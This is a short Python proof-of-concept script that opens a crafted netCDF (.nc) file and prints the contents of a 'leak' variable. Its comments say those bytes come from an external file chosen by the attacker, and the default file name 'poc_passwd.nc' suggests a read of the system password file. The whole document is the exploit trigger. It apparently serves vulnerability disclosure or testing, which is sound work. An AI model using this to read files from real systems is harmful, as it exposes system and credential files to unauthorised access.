import sys, netCDF4

# Open the malicious .nc the normal way and read the `leak` variable.
# Its bytes come from the external file the attacker pointed at.
path = sys.argv[1] if len(sys.argv) > 1 else "poc_passwd.nc"
ds = netCDF4.Dataset(path, "r")
raw = ds.variables["leak"][:]
data = bytes(raw.tobytes())
print("=== leaked bytes from %s ===" % path)
print(data.decode("utf-8", "replace"))
ds.close()